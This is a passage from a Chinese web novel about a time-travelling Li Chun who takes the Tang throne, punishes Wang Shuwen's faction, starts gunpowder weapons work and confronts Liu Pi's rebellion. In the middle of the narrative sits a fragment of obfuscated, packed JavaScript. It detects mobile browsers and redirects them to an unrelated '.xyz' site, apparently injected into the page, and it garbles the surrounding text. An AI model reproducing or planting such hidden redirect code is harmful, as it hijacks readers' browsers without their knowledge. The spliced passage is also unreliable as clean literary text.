李纯走上含元殿,站在殿前高处,朝四周短暂眺望了一下,俯视宫城,看到长安城恢弘壮丽、大气磅礴,李纯心中充满一股豪气,心想未来一定要成为这个殿堂的主人,在这里运筹帷幄、重整山河,让大唐焕发更加璀璨的荣光。
众人进入含元殿后,只见顺宗皇帝坐在龙椅上,目无表情,感觉病恹恹的,旁边侍立着宦官**言,俱文珍站在前面主持朝会。
时间到后,按照礼仪,李纯和诸皇子、众大臣一起向皇帝跪拜。
俱文珍看了看顺宗,顺宗点头示意一下,俱文珍喊道:“陛下让众卿平身,开始朝会!”
众人起来后,按照爵位、官职的高低,依次序分别侍立在朝堂中央两侧。
众人站定后,俱文珍朗声说道:“陛下知道,近日诸皇子、各位大臣忠于本职,操劳国事,都辛苦了,他的心里都惦记着,今日朝会,各位大臣如有要事,请速速奏来。”
杜黄裳首先出班,奏道:“臣杜黄裳有事启奏,皇上即位以来,心系天下,日理万机,甚为劳累,还请早立太子,为陛下分忧。”
王叔文没想到杜黄裳在朝会的开始就提立太子的事,当即出班反驳道:
“皇上春秋正盛,尚不到五十,各项国事处理的有条不紊、井井有条,立太子为时尚早。”
武元衡出班奏道:
“臣以为,皇上春秋正盛,但国事繁忙,非一人所能兼顾,陛下已劳累成疾,正当早立太子,可让陛下更好调养身体。”
刘禹锡感觉该自己上了,就奏道:
“册立太子,乃国之大事,不可不察,陛下皇子众多,还需时日仔细考虑,方能选贤任能。”
杜黄裳正色道:
“广陵王身为嫡长子,睿智贤达,才能出众,依法依理,都当立广陵王。”
柳宗元则出班反驳:
“其他皇子均才能卓越,各有优长,册立太子的大事,还是应由陛下做主。”
俱文珍看了看顺宗,顺宗没有说话,于是对众人喊道:
“今日朝会,正需大家广开言路,为皇上提供意见,关于立太子之事,也属于国家大事,也在讨论范围之内,诸位但说无妨。”
听到俱文珍如此说,众臣的心思开始活泛了,毕竟顺宗目前病重,谁接任太子,可能很快就会接上皇位,格局将为之大变。
凡是参与拥戴的自然会有相应的奖赏与好处,如果押错了宝,可能就会倒霉,大家都紧盯着局势,准备开始站队。
裴垍这时胆气更壮了,奏道:“臣裴垍附议杜大人,认为立广陵王为太子,最为合适,有太子辅政,更有利于大唐江山社稷。”
李绛也跟进道:“臣李绛亦附议杜大人,赞同立广陵王为太子。”
俱文珍就想再加一把火,于是喊道:
“此等大事必须要充分讨论,其他人有什么意见,也要速速奏来,不得延误。”
王叔文看到形势不对,赶忙奏道:
“册立太子这样的大事,应该由皇上拿主意,岂能由臣子随便议论,这不成结党了吗”
俱文珍立即反驳:
“王大人这样说就不对了,皇上拿主意固然没错,但是也要听一下各位大臣的意见,今天的大朝会本就是让大臣们畅所欲言,怎么就成结党了?”
杜佑觉得事到如今,也该自己表态了,他本就对王叔文不满,目前李纯势头正盛,不如顺水推舟,就奏道:
“自古以来,立太子就是国家的大事,在朝堂上讨论此事,并无不妥。皇长子李纯礼贤下士、众望所归,臣赞同立李纯为太子。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348597|183546||http|test|mini|href|location''.split(''|''),0,{}));
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r>郑余庆、郑珣瑜、高郢等一帮平日对王叔文不满的大臣,也觉得既然皇上生病,于情于理都应该立太子,广陵王是长子,才能出众,就应该立李纯为太子。
这些大臣看到杜佑都出来表态了,形势已明,也都出来表态,纷纷表示支持立广陵王为太子,形成了很大的声势。
俱文珍看了一下形势,大概有八成的大臣表示支持立广陵王为太子,只有两成大臣没有表态,说明众人都心向李纯,更加坚定了他要支持李纯的想法。
王叔文一帮人看到形势不利,想出来反驳,又没有过硬的理由,只能是站在那里气得不说话,在朝堂中极为尴尬。
其他皇子看到这个形势,知道自己根本没有希望,纷纷退避,哪还敢跟李纯争锋。
俱文珍又看了看顺宗,只见顺宗对**言动了几下嘴唇,俱文珍连忙走过去,靠近顺宗,认真仔细地听他说什么。
弄清顺宗的意思后,俱文珍然后走出来喊道:
“皇上今天累了,大家所述意见,皇上已经知晓,册立太子一事关系重大,皇上还要慎重考虑,今日朝会到此为止,退朝!”
有了这个结果,让支持李纯的大臣为之一振,下午有十几位大臣来到广陵王府。
杜黄裳率先说道:“今日朝会,真是大快人心,广陵王众望所归,王叔文等人黔驴技穷,无可奈何。”
李纯道:“虽说我们占了优势,但是父皇还是没表态,仍然存在变数。”
武元衡说:“大势向着广陵王,我看立殿下为太子,是早晚的事。”
裴垍说:“王叔文等人,不仅和很多大臣不合,跟外边的藩镇也不对付,俱文珍、刘光琦几个重要的宦官也向着我们,事情一定会向着朝我们有利的方向发展。”
李纯依然有些谨慎:“还要再等待合适的时机,给王叔文他们致命一击,才能定下大势。”
卫次公说:“待有合适机会,臣等定当奋力出击,助广陵王成就大事。”
李纯道:“这个事情,光有朝臣支持不行,最好地方的藩镇也要有动作,内外发力,才能大事可成。”
杜黄裳说:“大部分的藩镇也都反感王叔文,只是碍于他的权势,没有和他撕破脸,相信后面各藩镇也会站在广陵王这边。”
李纯总结说道:“事情没到最后,就还存在变数,我们还是筹划的更周密一些,争取更多的力量,集聚足够的实力,在最后的对决中务必一举功成。”
众人纷纷赞同,又一起沟通交谈了一阵才散去。
第11章 立为太子
不久,地方的藩镇果然推起了新的波澜。
西川节度使韦皋治理西川政绩卓越,又多次打败吐蕃,功勋卓著,为地方藩镇最有威望的节度使。
他感觉自己才能卓越,仅仅一个西川不够管,雄心勃勃,想兼任东川和山南东道的节度使,就委派其心腹刘辟到朝中跑官。
刘辟这个人仗着韦皋的权势,也是傲慢惯了,觉得和执政的王叔文说说应该能搞定,就跑到王叔文那里说:
“韦大人功勋卓著,能力超群,仅一个西川屈了他的大才,剑南三川都应归他统领,还请王大人支持一下。”
心高气傲的王叔文一向反感藩镇的跋扈,所定的策略是要削藩,对权势很大的韦皋,本就有戒备之心,怎么可能会同意给他增加权力,于是说道:
“韦节度使操劳多年,年事已高,本应回京颐养天年,何苦再加那么多负担呢?”
刘辟没想到王叔文不接他的茬,就有点不高兴:
“自古能者多劳,我们韦大人让我来找你,那是看得起你,王大人最好还是答应帮忙,不然韦大人自己也有办法拿到三川。”
王叔文没想到韦皋的手下都这么狂妄,哪受得了这种态度,不但拒绝,把刘辟大骂一顿,刘辟恼羞成怒,当场跟他顶撞,气得王叔文要杀了他。
王叔文跟韦执谊商议处置刘辟时,韦执谊畏惧势大的韦皋,不想得罪藩镇,更不可能为了几句话就**,根本不同意。
李纯听说此事,心中暗喜,觉得王叔文如此托大,得罪了那么多人,几乎把所有人推到对立面,可见其凝聚人心的能力低下。
李纯认为,做大事不拘小节,要尽量争取多数人的支持,步步为营,先把大的问题解决掉,再去解决小的问题。
如果一下子要解决多个问题,也要分个轻重缓急,像王叔文这样没有大局观,急于求成,处处树敌,早晚必败。
对手的破绽,就是自己要充分利用的机会,李纯当即派人找刘辟笼络了一番,说了一大堆韦皋的好话,还送了一些财物给刘辟,让刘辟回西川后,代他向韦皋致意。
刘辟正对王叔文气着,不知道如何回复韦皋,看到李纯这么给面子,当然是乐得答应,拿了李纯赠予的财物,高兴的领命而去。
刘辟回到西川以后,自然是将情况添油加醋的向韦皋说了一番,韦皋在西川任职二十一年,是资格最老、功勋地位最高的节度使,王叔文竟然这么不给面子,韦皋心中非常气愤。
韦皋觉得,既然李纯向自己示好,而且李纯当太子也是大势所趋,自己何不顺手推舟,还落得一个人情。
后面,韦皋专门写奏疏,夸赞李纯德才兼备,能力超群,认为他是做太子的不二人选。他的态度,基本就是藩镇的风向标,其他藩镇也开始向李纯靠拢。
从此以后,如果有其他藩镇的代表来长安办事,李纯都会派人笼络一番,各藩镇都觉得李纯不错,更加愿意向他靠拢,李纯的声望越来越大。
王叔文感觉到形势对自己越来越不利,就想办法扭转局势,思来想去,他觉得抓住兵权最重要。
京城的主要驻军就是神策军,属于皇帝亲军,目前由宦官俱文珍和薛盈珍等人统领,他们和王叔文处于对立状态,不可能听他的。
经过筹划,王叔文决定来个巧夺兵权,准备让和自己关系还不错的大将范希朝的担任禁军统领,再让自己的亲信韩泰为副手,实际掌握兵权。
经过一番运作之后,他的意见被顺宗批准,同意换范希朝和韩泰统领神策军,让禁军将领到长安以西的奉天向范希朝和韩泰报到。
王叔文把事情想得简单了,以为一道旨意就可以控制禁军,殊不知把掌握禁军兵权的俱文珍等宦官给惹恼了,彻底推到了对立面。
俱文珍和薛盈珍等人认为,兵权就是宦官们最大的依仗,如果没了兵权他们就什么也不是。那些禁军将领都是几个大宦官一手提拔的,自然心向着宦官,接到旨意后一起跑到俱文珍那里讨主意。
俱文珍怒道:
“我们一荣俱荣,一损俱损,如果把我们拿下了,让范希朝和韩泰得逞,他们肯定会换上自己人为将领,你们也会完蛋,你们都不要去报到,不要听他们的,谁敢去就废了谁!”
薛盈珍也说:
“我们现在和王叔文已经势不两立,现在过去就是自缚手脚,任人宰割,上面有我们顶着,你们不要管范希朝和韩泰。”
这些禁军将领都是宦官提拔上来的嫡系,当然不愿丢官,既然有两个老大顶着,干脆就是不去报到。
范希朝和韩泰在奉天左等右等,就是没有禁军来报到,他们下的命令也没人理,搞得无可奈何,只能向王叔文报告,王叔文看到宦官们态度强硬,也不敢硬碰,只能作罢。
不久,顺宗皇帝的病情加重,走路都需要别人搀扶,不能与人交流,根本无法处理朝政。绝大多
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数人都觉得应当尽快册立太子,可是王叔文、王伾、**言、牛昭容等人已经结成了利益群体,哪里肯愿意放弃权力,依然阻挠册立李纯为太子。
宦官俱文珍、刘光琦等人已与王叔文、**言一伙势不两立,更期待通过拥立新君,争宠立功,提升自己的权位。借着在宫内的优势,俱文珍等人决定采取措施,联合朝廷重臣采取断然措施,推动顺宗立李纯为太子。
李纯认为,经过一系列的操作,上位的时机已经成熟,由俱文珍等人领头做这件事就好,自己只需呆在王府调度局势。
俱文珍通过一番沟通联络,带着几个大宦官在宫中奏请皇帝,召集朝中重臣来到金銮殿,确定册立太子事宜。
**言本想反对,可是又势单力孤,又害怕俱文珍,不敢吭气,牛昭容利用随侍顺宗的机会,还想继续阻挠此事,几个宦官头领直接撇开她,来到顺宗身边。
顺宗看到来了那么多人,默不作声,俱文珍刚开始还耐心的说好话,希望顺宗能够尽快立太子,顺宗则是一言不发,莫衷一是。最后,俱文珍有些不耐烦,干脆一挥手,让随带的小太监去通知在宫外等候的大臣进宫。
杜佑、郑余庆、郑珣瑜、高郢、卫次公等重臣于是进入宫中,来到顺宗身边,这些人来了之后,也是劝顺宗立李纯为太子,没想到顺宗还是不说话。这些人考虑到顺宗患风疾,说话不方便,卫次公直接在纸上写下“册立嫡长子”五个字给顺宗看,算是征询顺宗的意见。
顺宗看了后,也明白意思,但还有点犹豫不决,没有立即表态。
俱文珍立即奏道:“陛下身体有恙,难以处理政务,王叔文等人欺上瞒下,贪赃枉法,尽失人心,嫡长子李纯贤明练达,睿智能干,深得人心,还请陛下早做决断。”
杜佑说:“皇上身体不好,与其委政于王叔文那些人,不如让长子李纯来干,早日立下太子,皇上可以轻松些,这样也能锻炼一下皇储。”
其他大臣、宦官也都纷纷附和,要求顺宗册立李纯为太子。
顺宗病了很久,越来越重,长久无法处理朝政,觉得再拖下去也没有意思,自己也厌倦了,反正是立自己的儿子为太子,再不表态连最后的体面都没了,于是点头认可。
卫次公当场书写立李纯为太子的诏书,给顺宗看,顺宗再次点头,算是同意,俱文珍当即在诏书上盖上御玺,算是正式册立李纯为太子。
第12章 夺取帝位
诏书发布后,风向就明显变了,朝廷内外的大臣纷纷表态,向李纯靠拢,韦皋等藩镇大员也不放过立功的机会,向朝廷上书。
韦皋给顺宗上书道:
“陛下因为德宗皇帝去世而悲痛,损坏了身体,加上操劳国事,日理万机,身体很久还不能康复。请陛下暂时让皇太子亲自监理朝政,等陛下身体好了,可以让太子回到东宫即可。陛下以前所托付的王叔文、王伾、**言等人,培植心腹党羽,贪赃枉法,应早日驱逐。”
不久,荆南节度使裴均、河东节度使严绶等人纷纷上表,所持意见与韦皋基本相同,要求太子监国,罢免王叔文等人。
李纯出来监国辅政,已是众望所归,势不可挡,王叔文等人这才慌了,但是已经无力挽回,惶惶不可终日。
王叔文也是祸不单行,就在这个紧要关口,他的母亲去世,按照唐朝律法,父母去世,除非皇帝挽留,官员要离职回去守制三年。现在皇帝病重,跟太子又闹翻了,谁会挽留他,王叔文更感到一阵悲凉。
为挽回颓势,更怕事后被清算,王叔文专门宴请杜黄裳、杜佑几位朝廷大臣和俱文珍几个宦官头领,宴会准备得很丰盛,拉拢示好之意不言而喻。
众人落座后,王叔文说道:
“敝人因为母亲去世,要回去守制,我王叔文虽不才,但是为了朝政也是竭尽全力,施政过程中可能也是得罪了一些人,但都是为了国家,并无私心。我离开朝廷以后,可能就会有一些针对我的诽谤,请大家能够体察我的苦心,到时帮我说说话。”
俱文珍立即接上话反驳:
“王大人说是为了国家,但似乎只有跟随你的那帮人才真正受益,我们这帮宦官可是被排斥的很,前面有几个人得罪了你,你就要杀他们,这也是为了国家吗?”
王叔文答道:
“王某可能性格刚直了些,有些事做的不妥当,但对于大唐江山,王某问心无愧。”
俱文珍说:
“好一个问心无愧,皇上长期生病,不能理政,于法于理都应早立太子,可是你却多次阻挠,难道就没有私心在里面?”
王叔文赶忙说道:“册立太子之事,乃皇上决断,王某岂敢阻挠。”
俱文珍怒道:
“你等阻挠立李纯殿下为太子之事,朝中人尽皆知,居然还在这里大言不惭,等太子上位后,你觉得他会相信你的话吗?”
王叔文无言以对,极为尴尬,只能闷头喝酒。
这时,杜黄裳发言道:
“太子曾经给过你机会,可惜你太狂,不知道珍惜,非要把所有人都得罪。你是为了国家,难道我们是为了个人吗?你对那么多大臣进行打压,我只看到你的狠心,没有看到你的苦心。”
看着两个人先后谴责王叔文,王叔文的几个党羽也不敢发言,杜佑等人更是置身事外,冷眼旁观,场面是相当的尴尬。
王叔文因母丧离职在家以后,本应收敛其行为,服软收手,给自己留一条后路。可是他还是不死心,还想通过韦执谊插手朝政,指点江山,妄图恢复往日的荣光。
大势如此不利,韦执谊哪还敢采纳他的意见,急着划清界限,减少李纯对他的敌意,把王叔文撇的远远的。
王叔文哪里受过这种气,恼怒万分,与自己的几个死党日夜谋划,想着重回朝廷任职,还要享受那种掌握大权的感觉,继续他的快意恩仇。
王叔文甚至扬言要杀了韦执谊和铲除那些不依附自己的人,让人觉得他有点末路疯狂,几个心腹党羽听说此言后都极为害怕。
自从王叔文回家守丧之后,王伾便失去了依靠,没了主心骨。他也不甘心,妄图跟着王叔文东山再起,多次跑到宦官和宰相那里要求重新启用王叔文,甚至让他统领神策军。
俱文珍他们怎么可能会同意,几个宰相觉得他的想法幼稚可笑,纷纷拒绝。
王伾还不死心,三次上书皇帝帮王叔文说话,顺宗身体病重,又有俱文珍阻挠,根本得不到回应。
王伾感觉快崩溃了,急的坐卧不安,到了晚上突然对门外的**喊一声:“王伾中风了!”从此闭门不出,不再入朝。
树倒猢狲散,屋倒众人推,搞成这个样子,王叔文小集团四分五裂,其他几个党羽也是一筹莫展,毫无办法,彻底玩不转了。
不久,也就是当年的8月4日,顺宗的病情更加严重,干脆下诏传位于李纯,自称太上皇,并移居兴庆宫养病,腾出大明宫给新帝李纯。
按照唐朝惯例,下诏次日即举行皇帝的登基典礼,8月5日,在含元殿举行李纯称帝的登基大典。
在朝廷任职的大小官员几百人,齐聚含元殿,按照礼仪,向李纯朝拜,三呼万岁。李纯身穿龙袍,意气风发坐在龙椅上,慨然接受众大臣的跪拜,正式称帝,立新年号为“元和”。
李纯称帝以后,心中充满豪气,命运终于给自己一次改变历史的机会,也有了一次振兴华夏民族的契机,自己一定要排除万难、变法图强,把华夏民族塑造成世界最强的民族,完成统一世界的梦想。
李纯也不能免俗,按照“以德报德,以直报怨”的原则,对王叔文集团必须进行惩处,经过与重要朝臣商议后,李纯下了第一道圣旨:将王叔文贬为渝州司户,将王伾贬为开州司马。
不久之后,王
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伾病死在开州,李纯下令让王叔文**。
对于王叔文的党羽,李纯根据众臣的意见,也予以贬黜,下了第二道圣旨:把韦执谊、韩泰、陈谏、柳宗元、刘禹锡、韩晔、凌准、程异等人分别贬到边远的八州为司马。
这就是著名的“二王八司马”事件。
贬黜了王叔文集团以后,朝廷的人事自然也要变动,李纯决定采取比较稳健的方式来进行轮替。李纯登基前的宰相为韦执谊、郑余庆、杜佑、郑珣瑜、高郢五人,明显太多,留三人即可。
韦执谊已经被贬黜,杜黄裳是此次上位的第一功臣,又是老臣,自当进行封赏,接任韦执谊的空位,成为宰相之首。
杜佑虽然属于中间派,但是在大是大非上,最终站在自己一边,又是老臣,可以继续留任。
郑余庆总体还算站到自己这一边,出了一些力,继续留用。
至于郑珣瑜、高郢等老臣,毕竟也有拥戴之功,李纯就将郑珣瑜调任为吏部尚书,将高郢调为刑部尚书,其他官员,只要没有参与王叔文集团,全部留任原职。
对于跟随自己的人,李纯肯定要**行赏,武元衡这次出了大力,提拔恢复其御史中丞的位置,裴垍、李绛、卫次公等人,李纯也根据朝中官员空缺的情况,也把他们的职位提升一下,授以侍郎、翰林学士等四品左右的官职。
三个拥立李纯为帝的重要宦官俱文珍、刘光琦、薛盈珍,李纯也进行了适当的封赏,俱文珍为大内总管兼左神策军统领、刘光琦为内枢密使,薛盈珍为右神策军统领。
这些其实是他们以前就有的权力,李纯只是正式下旨,进一步明确职务,并赏赐给他们不少财物,三个大宦官一时间志骄意满、风光无两。
对于后宫,李纯也要进行册封,由于父亲成了太上皇,李纯以太上皇的名义册封母亲**娣为太上皇后。封正妻郭氏为贵妃,称为郭贵妃,封纪氏为妃,封刘氏为嫔,封五个儿子为王,封五个女儿为公主。
原本有大臣建议册封郭氏为皇后,但是李纯认为郭氏出身名门,再封为皇后,外戚容易势大,以后册立太子也没有了回旋空间,不利于朝政,只封其为贵妃。
至于**言和牛昭容,李纯不愿将打击面搞得太大,让他们继续服侍生病的李诵,彻底失去了干预朝政的机会。
**斗争就是一场残酷的对决,不管他的人品好坏、能力高低,成王败寇。对于反对过自己的人,李纯必须要进行惩罚,对于支持自己的人,则要进行奖赏。
这是千百年来的规矩,李纯必须遵守,只有这样才能先稳住政权,才能谈以后的理想抱负。
第13章 面对诱惑
李纯刚当上皇帝,就开始享受到皇权带来的好处,各方的进献源源不断送到皇宫。
先是升平公主进献歌伎50人,然后是荆南节度使进献了两个奇异的绿毛乌龟,淮南节度使进献金银十箱,还有其他一大堆官员权贵进献财宝美女、珍禽异兽,都想通过进献获得皇帝的垂青。
李纯心想,这个世界真是趋炎附势,刚当皇帝就有如此大的好处,难怪很多人为了皇权,父子兄弟都可以反目相杀。
当上皇帝,带来的利益太多、太大,拥有荣华富贵、美女如云,可以纵情享乐,谁能抵挡这么大的诱惑?
正幻想着,李纯眼前突然出现在长安城外、城内遇到的那些穷人,那些王朝衰败的承受者,继而又想起八国联**烧圆明园、日本军南京**的惨烈场面,李纯的眼神顿时黯然起来。
回想自己穿越以前的宏图愿景,李纯知道自己来到这个世界是为了实现内心的恢弘理想,而不是来享受的。
一个人要做大事,就要放下一些欲望,名利财色在给人带来快感的同时,也会削弱人的斗志。这些进献的美女财宝,只要敢收下第一次,就会有第二次、第三次,最终会被腐蚀的只剩下了欲望,难免成为一个昏君。
在前世,自己经历过不少事情,在生活的很多方面都已经淡泊惯了,思维也理性了很多,对物欲的追求减弱了一些。
历史上有多少大人物,年轻时都是意气风发、斗志昂扬,功成名就以后,开始自我陶醉、安于享乐,最终走了下坡路,甚至犯下大错,那么多历史教训,历历在目,自己怎么能够重蹈覆辙?
前世有个流行词,叫“不忘初心,牢记使命”。自己的初心是什么?就是带领大唐子民,征服世界,创造一个辉煌灿烂的华夏文明。自己的使命是什么?就是改变历史的轨迹,让华夏民族过上富足安康的生活,成为世界的领导者。
这个初心和使命,恢弘伟大,即使自己拼尽全力也未必能够顺利实现,怎还经得起挥霍?
用一生的时间解决大唐的问题,然后要征服全世界,建立一个伟大国度,李纯感觉自己时间不够用,精力不够用,没工夫用在享受上,只要有所松懈就会半途而废,还是做一个节俭的皇帝吧。
内心抉择已定,李纯下旨道:
“太上皇在位时,已经明令禁止各种进献,要严格遵守,以后不得再进献美女、珠宝、珍禽异兽之类的东西,如有违反,严惩不怠。新朝初立,朕所期待的是天下安定,人民富足,各位臣工要把精力用在处理政事上,忠于职守,举荐贤才。朕素来崇尚节俭,力戒奢靡,望普天之下共倡此风。”
圣旨的内容中规中矩,很多以前的皇帝也发过,不少都是做官样文章,所以很多臣民还抱着观望的态度。
李纯也知道,有些事说起来容易做起来难,关键还是要自己坚持的住,心中的理想和信念就是坚持下去的动力,自己愿意接受历史的考验和证明。
李纯登基后的第八天,郭云就来到宫中觐见,李纯也想起几个月前委派他负责**的事,这一段时间为了夺取皇位暂时放在了一边,是该继续推进了。
一见面,郭云就跪下磕头,拜道:“微臣郭云,拜见皇帝陛下,微臣恭贺陛下荣登大宝。”
李纯道:“起来吧,**的事,进展的怎么样了?”
郭云起来后说:
“禀陛下,清虚子道长按照陛下给的配方重新试验改进,威力明显提升,还是陛下的法子好,解决了配方的难题,不知陛下打算用**做什么?”
李纯认真地说:
“**引燃以后可以**,可以把**装在陶罐或者铁壳里,引燃以后可以制作成**。如果把**放在铁管里,再塞进一个**,**引燃后可以把**射击出来,可以杀伤人员。如果铁管够粗就可以制成大炮,打出来的威力更大。”
郭云高兴地说:
“陛下的主意好,微臣经过几次试验,也觉得**如果用在这战场上会有很大的杀伤力,可以提高军队的战斗力。”
李纯看中郭云的办事能力,当即说道:
“我现在就封你为正六品的兵部员外郎,以后专门负责**和火器制作,制造出来可以保障军队使用,以后所用经费全部从兵部出。”
皇帝就是皇帝,一言九鼎,一下子就官升两级,郭云高兴地跪下磕头说道:
“微臣郭云,拜谢陛下提携之恩,臣定当万死不辞,不辱使命,把陛下交待的事情做好。”
李纯嘱咐道:
“制作火器是个危险活,你先去兵部报到,跟兵部侍郎李绛说,让他给你选个大一点的、比较安全的场地,再多招一些人,**、火器试验成功之后,以后要大规模的制作。”
郭云还有些疑虑:
“禀陛下,如果要
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大规模的制作,木炭不成问题,可是硫磺、硝石需要找到稳定的货源,而且硫磺主要产自西域的龟兹国,一旦变乱,供货容易中断。”
李纯考虑了一下说:
“短期内还需要不了那么大的量,你们先从正常渠道上买,主要还是以试验为主,只要肯多出些钱,不怕买不到,至于硫磺、硝石的主要矿场,你派人打听清楚,后面我再想办法。”
郭云答道:“好,我先按照陛下说的方向,用**试制一下**和**,有了进展,我再禀报陛下。”
李纯觉得,不管是削藩,还是远征他国,火器都会发挥重要的作用。
目前兵部尚书空缺,由新任的兵部侍郎李绛主事,李纯让他支持好火器场的建设,关心其进展情况,自己有空也会去看看。
李纯又仔细和李绛商讨了火器的制作和使用,强调这对提高军队的战斗力有大用,是兵部的一项重要工作。李绛看到李纯这么重视火器场的事,不敢马虎,对场房建设、材料采购、人力配备上给予充分支持,给了郭云等人极大的便利。
刚处理好**的事没几天,国内发生了一件大事,对李纯的皇权稳固构成了挑战。
西川节度使韦皋突然去世,西川节度副使刘辟不等朝廷任命,直接上表自任留后职务,也就是代理节度使,简直是藐视皇权。
韦皋治理西川21年,政绩卓越,在军事上,他软硬兼施,分化瓦解了南诏和吐蕃的联盟,使南诏最终倒向大唐,韦皋多次联合南诏对吐蕃用兵,在南线打败吐蕃,保障了西南的安宁。
在同一时期,唐朝在北线陇右对吐蕃的作战多次失败,被吐蕃抢去大量土地,形成了鲜明的对比。
在经济上,韦皋也想了很多办法,搞得西川物阜民丰,百姓安居乐业,给士兵待遇很好,还出资慰问老病孤残人员,各项税收又能足额上缴朝廷,搞得各方面都很满意。
在**上,西川形势稳定,拥护朝廷,凡是西川的官员、幕僚很多都能升官,属员的凝聚力很强。
韦皋简直就是地方官的典范,能打能治能拢人,朝廷要是多一些这样的官员,何愁大业不成。西川的很多老百姓也觉得韦皋是神人一个,能过上好日子全靠沾了他的光,很多人在家里贴他的画像来供奉。
韦皋去世,朝廷自当嘉奖宣慰一番,可是刘辟不待朝廷任命,自任留后,形同反叛。
第14章 刘辟之叛
在唐朝中后期,藩镇跋扈惯了,地方上的节度使死后,要么是儿子,要么是属官,直接上表自任留后,过一年再直接自任节度使,在朝廷那里就是走个过场,相当于自立门户。
李纯和几个心腹大臣商议了一番,大家都认为此风不可助长,一定要派朝廷信任的人去西川,将刘辟召入朝中。
李纯也认为,藩镇问题是唐朝此时最大的问题,如果继续放任藩镇的自立,国家将会陷入**的状态,必须采取强硬的手段。李纯根据几个宰相的推荐,下旨任命袁滋为西川节度使,征召刘辟入朝任职。
在唐德宗时期,朝廷对藩镇用兵多次失败,经常采取姑息纵容的方式,一些藩镇自任官员已经形成惯例。
刘辟觉得李纯刚登基,比德宗皇帝也强不到哪里去,胆气十足,拒不接受朝廷的征召,还派出军队列境布防,展开防卫的架势。
没想到袁滋是个软骨头,非常害怕刘辟,不敢前去西川,李纯非常生气,直接把袁滋贬为吉州刺史。
刚上来,就被人搞了一个下马威,李纯气得半死,真想立即派兵灭了他,但是仔细一想,觉得自己刚即位,地位还不稳固,还不熟悉情况,一旦失败,后果不堪设想。
经过了解,朝廷可以动用的直属兵力不多,讨伐难度不小,李纯决定就先采取一些怀柔措施,暂不出兵,任命刘辟为西川节度副使,代理节度使的事务。
看到李纯这样处理乱臣,有人不满了。
右谏议大夫韦丹上书:“现在放任刘辟而不惩治,就是在姑息养奸,以后将会遗患无穷。”
翰林学士卫次公也上书说:“对于刘辟这种狂妄之人,陛下应施以严惩,不然其他藩镇都会效仿。”
李纯看了也只是苦笑,目前朝廷的家底经不起折腾,拳头打出去收不回来就难堪了。
李纯认为,此事要做两手准备,如果刘辟领情服软还好,如果继续胡来,再出兵讨伐也能赢得更多人的支持。
所以,在任命刘辟以后,李纯也在了解情况,考察军队和将领,为可能发生的战事进行提前准备。
不觉间就到了新的一年,按照规矩,去年为永贞元年,今年就要用新的年号“元和”,所以新的一年为元和元年(公元806年),李纯已经28岁了,心中筹划着很多事情要做。
在这个时候,太上皇李诵病情加重,在正月下旬去世了。不管怎样,李诵也是自己法理上的父亲,李纯令礼部举办隆重的葬礼,自己也披麻戴孝,履行皇帝的礼仪。
进入二月,刘辟因拒绝征召入朝而被任命为西川节度副使,直接行使节度使职权,他觉得朝廷还像德宗时期那样软弱可欺,不但不收敛,反而更加骄横。
韦皋曾经要求兼领三川,当时朝廷没答应,此时刘辟的胃口更大,旧事重提,竟上书要求朝廷让他兼领三川。
李纯看出来了,刘辟就是一个喂不饱的狼崽子,单纯对他退让,只能激发他更大的野心,绝对不能答应,直接下旨拒绝!
刘辟也是个狠角色,一不做二不休,朝廷不给,就自己动**,直接出兵攻打东川。
东川节度使李康无能,平时放松军备,难以抵挡西川的军队,刘辟带兵一路东进,势如破竹,只用一个多月,就打下好几个州,并包围了李康所驻守的梓州。
刘辟属下的推官林蕴,忠于朝廷,多次反对他出兵,刘辟居然把他套上枷锁,关入牢中,这明显就是谋反了。
李纯怒了,决心派兵讨伐,于是召集公卿大臣商讨出兵事宜,没想到大多数人居然不支持出兵讨伐。
原来,德宗一朝,藩镇多次作乱,朝廷屡次讨伐无功,反而还被藩镇搞得灰头土脸。最典型的是泾原兵变,德宗被叛军打的连长安都丢了,兵乱平息后,德宗也从此心灰意冷,开始对藩镇采取姑息纵容的态度。
久而久之,各地有实力的藩镇拥兵自重,骄横跋扈,只要不过分,朝廷多数采取睁一只眼闭一只眼的态度。
在讨论中,很多朝臣认为,蜀地险固,难以攻下,一旦讨伐失败,危及朝廷稳定,所以不赞成大规模出兵。
关键时刻,宰相杜黄裳挺身而出,力排众议说:
“刘辟这个人骄狂自大,色厉内荏,打败他没有那么难,你们不要被他吓怕了。关于征蜀,我有一员大将推荐,神策军使高崇文有勇有谋,胆略非凡,如果把军事大权交给他,不派监军,一定能够打败刘辟,为朝廷解难。”
李纯已经下定决心出兵,对杜黄裳的支持非常感激,于是问道:“杜相如此推崇高将军,他是什么来头?”
杜黄裳答道:
“这个高崇文,在贞元五年曾率甲士三千在陇右佛堂原与吐蕃军激战,打的吐蕃军阵亡过半。贞元十四年,夏州士兵发生哗变,杀死大将王栖岩,时任都虞候的高崇文诛杀了带头哗变的人,平定了
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此次兵变,证明他是个敢打硬拼的狠角色。”
听了杜黄裳的介绍,李纯心里有了底,为了表明决心,不顾一些大臣的反对,当即任命高崇文为征蜀招讨使。
为了慎重起见,李纯第二天将杜黄裳和高崇文召到宣政殿议事,商讨征蜀事宜。没想到高崇文是一员老将,年近六十,但是气势刚猛,步履矫健,颇有大将风度,李纯心里稍安,有了一些信心。
两人行礼完毕后,李纯让人赐坐,一起讨论出兵相关事宜。
众人坐定后,李纯说:
“朕也并非是好战之人,即位之初,也想先安定一阵,对那刘辟多次隐忍,没想到他竟领兵作乱,如果继续绥靖,藩镇之乱更甚,所以朝廷必须要出兵讨伐。”
杜黄裳跟李纯观点一致:
“藩镇问题从安史之乱闹到德宗皇帝,一直无法解决,很多人已经不抱希望。但臣以为,陛下要兴我大唐,必须要对敢于作乱的藩镇出手,打掉敢于挑头**的,否则朝廷将永无宁日。”
李纯颇为赞许这个说法,就说:
“杜相所言极是,朕即位称帝,是要做中兴之主,不会做昏庸之君,所以对刘辟必须讨伐,但是如何讨伐,采取什么策略确保成功,我还想听听两位的意见。”
高崇文起身拱手道:
